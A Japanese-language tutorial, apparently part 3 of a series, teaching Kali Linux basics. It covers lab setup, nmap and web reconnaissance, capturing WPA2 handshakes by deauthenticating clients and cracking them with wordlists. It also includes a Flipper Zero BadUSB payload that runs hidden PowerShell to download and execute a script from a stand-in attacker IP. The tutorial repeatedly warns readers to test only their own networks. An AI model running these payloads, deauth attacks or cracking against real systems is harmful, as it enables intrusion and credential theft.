ハッカーの道:全5回シリーズ
パート1:イントロダクション → パート2:Flipperマスター → パート3:Kaliの基礎 → パート4:エクスプロイト → パート5:完全監査
パート1と2では、カードをクローンし、無線周波数を分析し、ほとんどの「セキュリティ」がただの見せかけであることを理解しました。外側から脆弱性を見てきましたが、今度は内側に入り、攻撃者の視点からそれらを見ます。
Kali Linuxは業界標準のペネトレーションテスト用ディストリビューションです。600以上のセキュリティツールがプリインストールされています。これは圧倒的に感じるかもしれません。ほとんどのチュートリアルは、理解できないコマンドとなぜそれが重要なのかという文脈もなく、いきなり深いところに投げ込みます。
ここでは違うやり方をします。この記事の終わりまでに、動作するラボを持ち、ネットワーク偵察を基礎レベルで理解し、自分のWiFiハンドシェイクをキャプチャできるようになります。各ステップは前のステップの上に構築されます。
パート1:ラボの構築
プロのペネトレーションテスターはメインマシンでKaliを実行しません。リセット、スナップショット、破棄が可能な隔離された環境を使用し、メインシステムに影響を与えません。あなたも同じようにします。
オプションA:仮想マシン(学習に推奨)
仮想マシンは最も安全な学習環境を提供します。進捗のスナップショットを取り、間違いを犯し、即座にロールバックできます。
必要なもの
- ホストマシン: 16GB以上のRAM、50GB以上の空きディスク容量、仮想化サポート付きの最新CPU
- 仮想化ソフトウェア: VirtualBox(無料)またはVMware Workstation Player(個人使用は無料)
- Kali Linux: kali.orgからの公式プリビルトVM
プロジェクト:Kali VMセットアップ
所要時間: 30〜45分
手順:
- ハイパーバイザー(VirtualBoxまたはVMware)用のKali VMイメージをダウンロード
- ダウンロードしたアーカイブを展開(Windowsでは7-Zipを推奨)
- VMをハイパーバイザーにインポート
- リソースを設定:最低4GB RAM(8GB推奨)、2つ以上のCPUコア
- ネットワークアダプターを「ブリッジ」モードに設定してフルネットワークアクセスを有効化
- VMを起動し、デフォルト認証情報でログイン:
kali/kali - ターミナルを開いて実行:
sudo apt update && sudo apt full-upgrade -y - 簡単に復元できるよう「Fresh Install」という名前のスナップショットを作成
成功の確認: ターミナルを開き、whoamiを実行してkaliと表示されること。
オプションB:専用ハードウェア(本格的な練習用)
Kaliに慣れたら、専用ハードウェアはVMのオーバーヘッドを排除し、ワイヤレステストに不可欠なフルハードウェアアクセスを可能にします。
ハードウェアの推奨
| 予算オプション | 中古ThinkPad X230/T430($100-150)、Intel WiFiをAtheros AR9285に交換 |
|---|---|
| 最新オプション | Linux互換WiFiモジュール搭載のFramework Laptop |
| 専用センサー | 外付けAlfa AWUS036ACHアダプター付きRaspberry Pi 5 4GB |
今のところ、VMで十分です。ワイヤレステスト用のモニターモードが必要になったとき(この記事の後半でカバー)、専用ハードウェアが重要になります。
オプションC:Live USB(永続性なし)
Live USBはインストールなしでKaliを直接実行します。電源を切るとすべてが消えます。異なるハードウェアでのテストに便利ですが、永続パーティションを作成しない限り、セッションごとに作業内容が失われます。
1# Create bootable USB on Linux/Mac
2sudo dd if=kali-linux-*.iso of=/dev/sdX bs=4M status=progress
3# Replace sdX with your USB device (check with 'lsblk')
4# On Windows: Use Rufus or balenaEtcherddはデータを破壊する
ddコマンドは確認なしでディスクに直接書き込みます。デバイス名を三重にチェックしてください。間違ったデバイスに書き込むと、そのドライブが完全に消去されます。
パート2:ターミナルマインドセット
セキュリティツールに触れる前に、ターミナルに慣れる必要があります。これはオプションではありません。KaliにGUIは存在しますが、本当の作業はコマンドラインで行われます。
基本的なナビゲーション
1# Know where you are
2pwd # Print working directory
3
4# Move around
5cd /home/kali # Go to home directory
6cd .. # Go up one level
7cd - # Go to previous directory
8
9# See what's here
10ls # List files
11ls -la # List all files with details
12ls -lah # Human-readable sizes
13
14# Read files
15cat filename # Display entire file
16less filename # Scrollable view (q to quit)
17head -n 20 filename # First 20 lines
18tail -f filename # Follow file in real-time (logs)権限昇格
多くのセキュリティツールにはroot権限が必要です。Kaliでは、sudoで一時的なroot権限を取得できます。
1sudo command # Run single command as root
2sudo -i # Start root shell (be careful)
3whoami # Check current user
4id # Show user and group IDs責任を持ってRootを使う
rootで実行するということはセーフティネットがないということです。rm -rf /のようなタイプミスですべてが破壊されます。最新のKaliはこの特定のコマンドを防止しますが、原則は変わりません:実行する前に何を実行しているのか理解してください。
プロセス管理
1ps aux # All running processes
2top # Real-time process viewer
3htop # Better process viewer (install if needed)
4
5# Control processes
6ctrl+c # Stop current process
7ctrl+z # Suspend process
8bg # Resume in background
9fg # Bring to foreground
10
11# Kill processes
12kill PID # Graceful termination
13kill -9 PID # Force kill (last resort)ネットワークコマンド
1ip a # Show network interfaces
2ip route # Show routing table
3ping -c 4 8.8.8.8 # Test connectivity
4curl ifconfig.me # Your public IP
5
6# DNS lookups
7nslookup google.com
8dig google.comプロジェクト:ターミナルオリエンテーション
所要時間: 15分
タスク:
ip aを使ってローカルネットワーク上のIPアドレスを見つけるip routeを使ってデフォルトゲートウェイを特定する- ゲートウェイにpingして接続性を確認する
/etcのすべてのファイルを更新時間順にリスト:ls -lt /etc | head/etc/passwdの最初の50行を読む:head -n 50 /etc/passwd
目標: 考えずにナビゲート、ネットワーク状態のチェック、ファイルの読み取りができるようになること。
パート3:Nmapによるネットワーク偵察
Nmap(Network Mapper)は学ぶ中で最も重要なツールです。ホストの発見、サービスの特定、OSの検出、ネットワークトポロジーのマッピングを行います。他のすべてはnmapの出力の上に構築されます。
最初のスキャン
自分のネットワークをスキャンしましょう。まず、ネットワーク範囲を特定します:
1# Find your local IP and subnet
2ip a | grep inet
3# Look for something like: inet 192.168.1.100/24
4# The /24 means your network is 192.168.1.0-2551# Basic discovery scan (your network only)
2sudo nmap -sn 192.168.1.0/24
3
4# What this does:
5# -sn = ping scan (no port scanning, just host discovery)
6# /24 = scan all 256 addresses in this subnet次のような出力が表示されます:
1Nmap scan report for 192.168.1.1
2Host is up (0.0025s latency).
3MAC Address: AA:BB:CC:DD:EE:FF (Manufacturer Name)
4
5Nmap scan report for 192.168.1.50
6Host is up (0.0042s latency).
7MAC Address: 11:22:33:44:55:66 (Another Manufacturer)最初のスキャンで分かること:「自分のネットワーク上にこれらのデバイスが存在する。」次はもっと深い質問をしましょう。
サービス検出
どのホストが存在するか分かったら、次はどんなサービスが実行されているか知りたくなります。
1# Scan a single target for open ports and services
2sudo nmap -sV 192.168.1.1
3# -sV = Version detection (probe open ports for service info)一般的な出力:
1PORT STATE SERVICE VERSION
222/tcp open ssh OpenSSH 8.4p1
380/tcp open http nginx 1.18.0
4443/tcp open ssl/http nginx 1.18.0OS検出
1# Detect OS (requires root)
2sudo nmap -O 192.168.1.1
3
4# Combined scan: OS detection + service versions + default scripts
5sudo nmap -A 192.168.1.1ポートの状態を理解する
Nmapはポートをいくつかの状態で報告します:
- open - アプリケーションがアクティブに接続を受け付けている。攻撃者が探しているもの。
- closed - ポートはアクセス可能だがアプリケーションがリッスンしていない。ホストは稼働しているが何もない。
- filtered - ファイアウォールやフィルターがプローブをブロック。openかclosedか判定不可。
- unfiltered - ポートはアクセス可能だがnmapがopenかclosedか判定できない。
スキャンタイプとステルス
1# TCP Connect scan (default, noisy but reliable)
2sudo nmap -sT target
3
4# SYN scan (stealthier, default with root)
5sudo nmap -sS target
6
7# UDP scan (slow but important - many services use UDP)
8sudo nmap -sU target
9
10# Scan all 65535 ports (thorough but slow)
11sudo nmap -p- target
12
13# Scan specific ports
14sudo nmap -p 22,80,443,8080 target
15
16# Top 1000 common ports (default behavior)
17sudo nmap targetNmap Scripting Engine (NSE)
NSEは脆弱性検出、サービス列挙などの特殊なスクリプトでnmapを拡張します。
1# Run default safe scripts
2sudo nmap -sC target
3
4# Check for vulnerabilities
5sudo nmap --script vuln target
6
7# SMB enumeration (Windows shares)
8sudo nmap --script smb-enum-shares target
9
10# HTTP enumeration
11sudo nmap --script http-enum target
12
13# List available scripts
14ls /usr/share/nmap/scripts/ | head -20プロジェクト:ネットワークをマッピングする
所要時間: 30分
前提条件: ip aからネットワーク範囲を把握していること
- すべてのホストを発見:
sudo nmap -sn YOUR_NETWORK/24 - 発見されたホストとそのMACアドレスをリストアップ
- ルーター(通常.1)を選んで実行:
sudo nmap -sV -sC YOUR_ROUTER - ルーターのすべての開いているポートとサービスを特定
sudo nmap -A YOUR_COMPUTERを実行して自分のマシンが何を公開しているか確認
ドキュメント: 各デバイス、そのIP、MAC、サービスをリストしたテキストファイルを作成。これがネットワークマップです。
自分のネットワークだけをスキャン
許可なくネットワークをスキャンすることはほとんどの法域で違法です。単純なnmapスキャンでさえ不正アクセスとみなされる可能性があります。自分のネットワーク、自分の機器、明示的な書面による許可がある場所だけにとどめてください。
パート4:Web偵察
nmapスキャンでHTTPサービス(ポート80、443、8080)が見つかったでしょう。そこで何が動いているか理解しましょう。
Whatweb:高速サービス識別
# Identify web technologies
whatweb http://192.168.1.1出力例:
1http://192.168.1.1 [200 OK] Country[RESERVED][ZZ],
2HTTPServer[nginx/1.18.0], IP[192.168.1.1],
3Title[Router Admin], nginx[1.18.0]Nikto:Web脆弱性スキャナー
1# Scan for common web vulnerabilities
2nikto -h http://192.168.1.1
3
4# This checks for:
5# - Outdated server software
6# - Dangerous files/CGIs
7# - Misconfigurations
8# - Default credentialsディレクトリ列挙:何が隠されている?
Webサーバーにはメインページからリンクされていないディレクトリがよくあります:管理パネル、設定ファイル、バックアップファイル。
# Gobuster: directory brute-forcing
gobuster dir -u http://192.168.1.1 -w /usr/share/wordlists/dirb/common.txtよくある発見:
1/admin (Status: 301)
2/backup (Status: 403)
3/config (Status: 200)
4/login (Status: 200)ワードリストの場所
Kaliは/usr/share/wordlists/に広範なワードリストを含んでいます。最も一般的なディレクトリ:dirb/、dirbuster/、rockyou.txt(パスワード)、seclists/(包括的なコレクション)。
プロジェクト:ルーターのWebインターフェースを監査する
所要時間: 20分
whatweb http://YOUR_ROUTER_IPを実行してサーバーを特定nikto -h http://YOUR_ROUTER_IPを実行して脆弱性をチェックgobuster dir -u http://YOUR_ROUTER_IP -w /usr/share/wordlists/dirb/small.txtを実行- 発見されたディレクトリをブラウザで訪問
- 管理パネル、バージョン番号、興味深い発見をメモ
よくある発見: デフォルト認証情報で公開されたルーター管理ページ。
パート5:ワイヤレス偵察
ここからが面白くなります。WiFiネットワークは常にブロードキャストしており、適切なツールがあれば、認証ハンドシェイク(デバイスが接続する際に発生する暗号化された交換)をキャプチャできます。
ハードウェア要件
内蔵WiFiはおそらくこれには使えません。モニターモードとパケットインジェクションをサポートするアダプターが必要です。推奨:Alfa AWUS036ACH(約$50)またはAlfa AWUS036ACM(約$45)。これらはKaliですぐに動作します。
モニターモードの理解
通常のWiFiモード(「マネージドモード」)は自分のデバイス宛のパケットのみを受信します。モニターモードは範囲内のすべてのパケット、チャネル上のすべてのデバイスのトラフィックをキャプチャします。
1# Check your wireless interfaces
2iwconfig
3# Look for your adapter (often wlan0 or wlan1)
4
5# Kill interfering processes
6sudo airmon-ng check kill
7
8# Enable monitor mode
9sudo airmon-ng start wlan0
10# Your interface is now wlan0monネットワークのスキャン
1# Start capturing wireless traffic
2sudo airodump-ng wlan0mon
3
4# You'll see:
5# BSSID = Router MAC address
6# PWR = Signal strength (higher = closer)
7# CH = Channel
8# ENC = Encryption (WPA2, WPA3, OPN)
9# ESSID = Network name
10
11# Press Ctrl+C to stop見えているのは範囲内のすべてのWiFiネットワーク、そのセキュリティ設定、そしてしばしば接続されているデバイスです。これはwar driverが近隣をスキャンする際に見ているものです。
ハンドシェイクのキャプチャ
デバイスがWPA2ネットワークに接続する際、four-wayハンドシェイクがあります。このハンドシェイクをキャプチャすれば、オフラインでパスワードのクラックを試みることができます。
1# Focus on your target network (your own network!)
2sudo airodump-ng -c CHANNEL --bssid ROUTER_MAC -w capture wlan0mon
3# -c CHANNEL = Target's channel from previous scan
4# --bssid = Target router's MAC address
5# -w capture = Save to files starting with "capture"
6
7# Now wait for a device to connect...
8
9# Or force a reconnection (on YOUR network only):
10# In a new terminal:
11sudo aireplay-ng --deauth 5 -a ROUTER_MAC wlan0mon
12# This sends 5 deauth packets, disconnecting clients
13# They automatically reconnect, generating a handshakeハンドシェイクをキャプチャすると、airodump-ngが右上隅に[ WPA handshake: XX:XX:XX:XX:XX:XX ]と表示します。
Deauth攻撃は違法
所有していないネットワークにdeauthenticationパケットを送信することは、Computer Fraud and Abuse Act(米国)や他の国の同様の法律の下で連邦犯罪です。自分のネットワークでのみテストしてください。目的は脆弱性を理解することであり、他者を攻撃することではありません。
ハンドシェイクのクラック
キャプチャしたハンドシェイクがあれば、ワードリストを使ってオフラインでパスワードのクラックを試みることができます:
1# Crack using a wordlist
2aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
3
4# If the password is in the wordlist, you'll see:
5# KEY FOUND! [ password123 ]
6
7# For stronger passwords, use hashcat (GPU-accelerated)
8# First, convert capture format:
9cap2hccapx capture-01.cap capture.hccapx
10
11# Then crack with hashcat:
12hashcat -m 22000 capture.hccapx /usr/share/wordlists/rockyou.txtパスワード強度の現実チェック
rockyou.txtには実際のデータ漏洩からの1400万以上のパスワードが含まれています。WiFiパスワードが「password123」や「summer2024」やペットの名前なら、数秒でクラックされます。12文字以上のランダムパスワードなら、ブルートフォースに数百万年かかるでしょう。
プロジェクト:WiFiセキュリティをテストする
所要時間: 45分
前提条件: モニターモード対応の外付けWiFiアダプター
- モニターモードを有効化:
sudo airmon-ng start wlan0 - ネットワークをスキャン:
sudo airodump-ng wlan0mon - 自分のネットワークのチャネルとBSSIDをメモ
- 自分のチャネルでキャプチャ:
sudo airodump-ng -c CHANNEL --bssid YOUR_BSSID -w mywifi wlan0mon - デバイスを自分のWiFiに再接続(または自分のネットワークでdeauthを使用)
- ハンドシェイクキャプチャを確認
- rockyou.txtでテスト:
aircrack-ng -w /usr/share/wordlists/rockyou.txt mywifi-01.cap
結果: パスワードが見つかった場合は、すぐにランダムで長いもの(20文字以上)に変更してください。
パート6:Flipper Zeroの接続
パート2でのすべてのキャプチャを覚えていますか?Kaliのワークフローに統合しましょう。
ファイル転送
1# Connect Flipper via USB
2# It appears as a mass storage device
3
4# Mount if not auto-mounted
5sudo mount /dev/sda1 /mnt/flipper
6
7# Your captures are in:
8/mnt/flipper/subghz/ # Sub-GHz captures
9/mnt/flipper/nfc/ # NFC dumps
10/mnt/flipper/infrared/ # IR captures
11/mnt/flipper/lfrfid/ # 125kHz RFID
12/mnt/flipper/badusb/ # BadUSB scriptsNFCダンプの分析
1# Install libnfc tools
2sudo apt install libnfc-bin mfoc mfcuk
3
4# Flipper saves NFC as .nfc text format
5# Convert to binary for analysis:
6python3 flipper_nfc_to_mfd.py card.nfc card.mfd
7
8# Analyze MIFARE Classic dump
9hexdump -C card.mfd | lessSub-GHz分析
1# Flipper's .sub files are text-based
2cat garage_door.sub
3
4# Contains:
5# - Frequency (315MHz, 433MHz, etc.)
6# - Protocol or RAW data
7# - Timing information
8
9# For deeper RF analysis, use:
10# - Universal Radio Hacker (URH)
11# - GNU Radio
12# - rtl_433 (with SDR hardware)BadUSB開発
KaliでBadUSBペイロードを作成し、Flipperでテスト:
1# Flipper uses DuckyScript-compatible syntax
2# Create payload on Kali:
3cat > kali_connect.txt << 'EOF'
4DELAY 1000
5GUI r
6DELAY 500
7STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8000/shell.ps1')"
8ENTER
9EOF
10
11# Host the payload from Kali:
12python3 -m http.server 8000
13
14# Copy to Flipper's badusb folder
15cp kali_connect.txt /mnt/flipper/badusb/BadUSBペイロードは強力
これらのスクリプトは接続すると自動的に実行されます。悪意のあるペイロードは数秒でバックドアのインストール、認証情報の窃取、データの破壊が可能です。テスト用に自分のマシンでのみ使用してください。他の人が接続する可能性のある場所にFlipperを放置しないでください。
パート7:ドキュメンテーションとワークフロー
プロのペネトレーションテスターは単にツールを実行するだけではありません。すべてを文書化します。良いドキュメンテーションがアマチュアとプロを分けます。
CherryTreeによるノートテイキング
1# Install CherryTree (hierarchical note-taking)
2sudo apt install cherrytree
3
4# Organize notes by:
5# - Target/network
6# - Reconnaissance
7# - Enumeration
8# - Vulnerabilities
9# - Exploitation attempts
10# - Post-exploitationNmap出力の保存
1# Save in all formats
2sudo nmap -sV -sC -oA scan_results target
3
4# Creates:
5# scan_results.nmap (human-readable)
6# scan_results.xml (parseable)
7# scan_results.gnmap (greppable)セッションログ
1# Log entire terminal session
2script session_$(date +%Y%m%d_%H%M%S).log
3
4# Now every command and output is recorded
5# Type 'exit' to stop loggingハッカーの道
好奇心から実力へ導く全5回シリーズ。
パート1:イントロダクション パート2:Flipperマスター パート3:Kaliの基礎 ✓ パート4:エクスプロイト パート5:完全監査
パート3チェックリスト
☐ ラボセットアップ: Kali VMが稼働中、更新済み、スナップショット保存済み
☐ ターミナル: ナビゲーション、権限、プロセス制御に慣れている
☐ Nmap: ネットワークをマッピング、サービスを特定、ルーターをスキャン済み
☐ Web偵察: ルーターのWebインターフェースをwhatweb/niktoで分析済み
☐ ワイヤレス: モニターモード有効、ネットワークスキャン済み
☐ ハンドシェイク: 自分のWiFiハンドシェイクをキャプチャしてテスト済み
☐ Flipper: ファイル転送済み、ワークフロー理解済み
☐ ドキュメンテーション: ノート整理済み、スキャン保存済み
次のステップ
ラボを構築し、偵察フェーズを学びました。ホストの発見、サービスの特定、ワイヤレスハンドシェイクのキャプチャができるようになりました。攻撃者がネットワークを見るとき何を見ているか理解しています。
パート4では、偵察からエクスプロイトに移ります。学ぶ内容:
- Metasploit Framework、エクスプロイトのスイスアーミーナイフ
- 一般的な脆弱性エクスプロイトワークフロー
- ポストエクスプロイト技術:初期アクセス後に何が起こるか
- 権限昇格:一般ユーザーから管理者への昇格
- ピボッティング:侵害されたシステムを使って他を攻撃
偵察はドアがどこにあるかを教えてくれます。エクスプロイトはそこを通る方法を教えてくれます。
領域をマッピングしました。次はそこをナビゲートすることを学びます。パート4で観察者からオペレーターへ。
パート4でお会いしましょう。